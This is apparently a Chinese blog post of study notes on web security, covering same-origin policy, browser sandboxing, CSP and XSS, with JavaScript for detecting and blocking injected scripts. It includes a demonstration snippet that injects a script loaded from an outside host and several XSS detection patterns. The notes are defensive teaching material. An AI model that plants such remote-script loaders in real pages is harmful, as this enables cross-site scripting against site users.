web讲白帽子 - 笔记
发布时间:2018-06-18 13:04:18
发布时间:2018-06-18 13:04:18
第一篇 安全世界观
web安全的兴起
web攻击技术经历几个阶段
1. 服务器端动态脚本的安全问题
2. sql注入的出现
3. xss的出现
4. web攻击思路从服务器到客户端
安全三要素
机密性confidentiality、完整性integrity、可用性availability
设计安全方案的原则
∙ secure by default原则:白名单
∙ 纵深原则:不同层面实施安全方案,避免疏漏; 正确的地方做正确的事
∙ 数据与代码分离原则(针对各种注入问题)
∙ 不可预测性原则:敏感数据不可预测
∙ 注:UTM 即统一威胁管理,包括防火墙、VPN、反垃圾邮件、IDS、反病毒等等
∙ 爬虫(可以续学)
第二篇 客户端脚本安全
浏览器安全功能
∙ 同源策略Same Origin Policy(SOP)限制来自不同源的脚本或document对当前document读取或设置某些属性。浏览器中script、img、iframe等标签可以通过src属性跨域加载资源,不受同源策略的限制,对于src加载的资源,浏览器限制JavaScript不能读写。XMLHttpRequest原本也根据同源策略限制跨域请求,因此后来W3C制定了新的请求:假设从http://www.a.com/test.html发起一个跨域的XMLHttpRequest请求到http://www.b.com/test.php,发起的请求HTTP投必须带上Origin,而B站点服务器返回一个HTTP头包含Access-Control-Allow-Origin: http://www.a.com,那么这个请求就会被通过
跨域请求的访问过程
∙ 浏览器沙盒浏览器发展出多进程架构,将各个功能模块分开,各个浏览器实例分开,提升了安全性。Chrome是第一个采用多进程架构的浏览器,主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。
Chrome的架构
渲染引擎由沙盒隔离, 网页代码要与浏览器内核进程、操作系统通信,需要通过IPC channel,在其中会进行一些安全检查。这可以让不受信任的网页或JavaScript代码运行在一个受限的环境中,保护本地系统的安全。Chrome每个标签页和扩展都在独立的沙盒内运行,在提高安全性的同时,一个标签页面的崩溃也不会导致其他标签页面被关闭,但由于过于占用内存,现在已经变成有些网页公用一个进程,它们和服务器保持共同的会话。
∙ 恶意网站拦截浏览器周期性从从服务器获取恶意网站的黑名单,如果用户访问就弹出警告框
∙ Content Security Policy(CSP)Firefox4推出Content Security Policy(CSP),后来被其他浏览器支持。CSP的做法是,由服务器端返回一个Content-Security-Policy的HTTP头,在其中描述页面应该遵守的安全策略,让浏览器不再盲目信任服务器发送的所有内容,并且能让浏览器只执行或者渲染来自这些源的内容。源的策略包括:
o script-src控制了页面的脚本权限集合
o connect-src限制了可以连接到的源(通过XHR、WebSockets和EventSource)
o font-src指定了可以提供web字体的源
o frame-src列出了可以作为页面帧嵌入的源
o img-src定义了可以加载图片的源
o media-src限制了允许发送视频和音频的源
o object-src允许控制Flash和其他插件
o style-src控制样式表的源
源列表接受4个关键词:
o none,不匹配任何内容
o self,值匹配当前源,不匹配其子域
o unsafe-inline,允许内联的JavaScript和CSS
o unsafe-eval,允许eval这样的文本到JavaScript的机制
例如:Content-Security-Policy: default-src https://cdn.example.net; frame-src ‘none’;如果想要从一个内容分发网络加载所有资源,而且已知不需要帧内容
由于CSP配置规则比较复杂,在页面较多的情况下很难一个个配置,后期维护成本大,导致CSP没有很好的推广。
跨站脚本攻击,Cross Site Script为了和CSS区分所以叫XSS。XSS攻击指,攻击者往Web页面里插入恶意html代码,当其它用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。
XSS根据效果可以分成:
∙ 反射型XSS:简单把用户输入的数据反射给浏览器,例如诱使用户点击个恶意链接来达到攻击的目的
∙ 存储型XSS:把用户输入的数据存储到服务器,例如黑客发表包含恶意js代码的文章,发表后所有浏览文章的用户都会在他们的浏览器执行这段恶意代码
案例:2011年,新浪微博XSS蠕虫事件:攻击者利用广场的一个反射性XSS URL,自动发送微博、私信,私信内容又带有该XSS URL,导致病毒式传播。百度空间、twitter等SNS网站都发生过类似事件。
∙ 被动扫描:把页面里所有元素都扫描一遍,看是否有有危险性的代码;但由于现在ajax的使用,经常会动态修改DOM元素,即使定期扫描,XSS也可以在定时器的间隔触发后销毁,没用且浪费性能。
∙ 主动防御:只要防御程序在其他代码之前运行,就可以对XSS攻击主动进行检测和拦截。
例如在页面中需要用户输入图片的地址如,但攻击者们可以通过引号提前关闭属性,并添加一个极易触发的内联事件如。
对于内联事件,还是遵循DOM事件模型:”捕获阶段->目标阶段->冒泡阶段“,如下图。
DOM事件模型
因此我们可以在捕获阶段进行检测,拦截目标阶段的事件的执行。
document.addEventListener('click', function(e) {
var element = e.target;
var code = element.getAttribute('onclick');
if (/xss/.test(code)) { // 拦截的策略判断
element.onclick = null; // 拦截内联事件,不影响冒泡
alert('拦截可疑事件: ' + code);
}
}, true);
除了onclick事件,还有其他很多内联事件如onload、onerror等,不同浏览器支持的也不一样,可以通过遍历document对象,来获取所有的内联事件名。
for(var item in document) {
if (/^on./.test(item)) { // 检测所有on*事件
document.addEventListener(item.substr(2), function(e) { // 添加监听需要去掉on
// ... 拦截策略等
}
}
}
除了on开头的事件外,还有一些特殊形式,其中使用最为广泛和常见,这种就需要单独对待。
document.addEventListener(eventName.substr(2), function(e) {
//... 其他拦截策略
var element = e.target;
if (element.tagName == 'A' && element.protocol == 'javascript:') {
// ...
}
});
对于一些常用的事件如鼠标移动会非常频繁的调用,因此有必要考虑性能方面的优化。一般来说内联事件在代码运行过程中并不会改变,因此对某个元素的特定事件,扫描一次后置个标志位,之后再次执行的话检测标志位后可以考虑是否直接跳过。
XSS最简单和常见的方法就是动态加载个站外的脚本,模拟代码如下:
<button id="btn">创建脚本button>
<script>
btn.onclick = function() {
var el = document.createElement('script');
el.src = 'http://www.etherdream.com/xss/out.js';
// 也可以写成el.setAttriute('src','http://www.etherdream.com/xss/out.js');
document.body.appendChild(el);
};
script>
在HTML5中MutationEvent的DOMNodeInserted事件和DOM4提供的MutationObserver接口都可以检测插入的DOM元素。
var observer = new MutationObserver(function(mutations) {
console.log('MutationObserver:', mutations);
});
observer.observe(document, {
subtree: true,
childList: true
});
document.addEventListener('DOMNodeInserted', function(e) {
console.log('DOMNodeInserted:', e);
}, true);
MutationObserver能捕捉到在它之后页面加载的静态元素,但它不是每次有新元素时调用,而是一次性传一段时间内的所有元素。而DOMNodeInserted不关心静态元素,但能捕捉动态添加的元素,而且是在MutationObserver之前调用。对于静态脚本,可以通过MutationObserver来检测和拦截,但对不同的浏览器拦截结果不同,在Firefox上还是会执行。对于动态脚本,DOMNodeInserted的优先级比MutationObserver高,但也只能检测却无法拦截脚本的执行。
既然无法通过监测DOM元素挂载来拦截动态脚本执行,那么讲检测手段提前,对于动态创建脚本,赋予src属性必不可少,因此我们可以通过监测属性赋值来进行拦截。检测属性赋值可以通过MutationObserver或DOMAttrModified事件,但对于先赋值再插入元素的情况来说,由于赋值时元素还没插入,因此事件回调并不会被调用。除了事件外还可以通过重写Setter访问器,在修改属性时触发函数调用。
var raw_setter = HTMLScriptElement.prototype.__lookupSetter__('src');
HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
if (/xss/.test(url)) {
return;
}
raw_setter.call(this, url);
});
对于setAttribute来修改属性的情况同样需要一定的防护,通过改写setAttribute。
// 保存原有接口
var old_setAttribute = window.Element.prototype.setAttribute;
// 重写 setAttribute 接口
window.Element.prototype.setAttribute = function(name, value) {
// 匹配到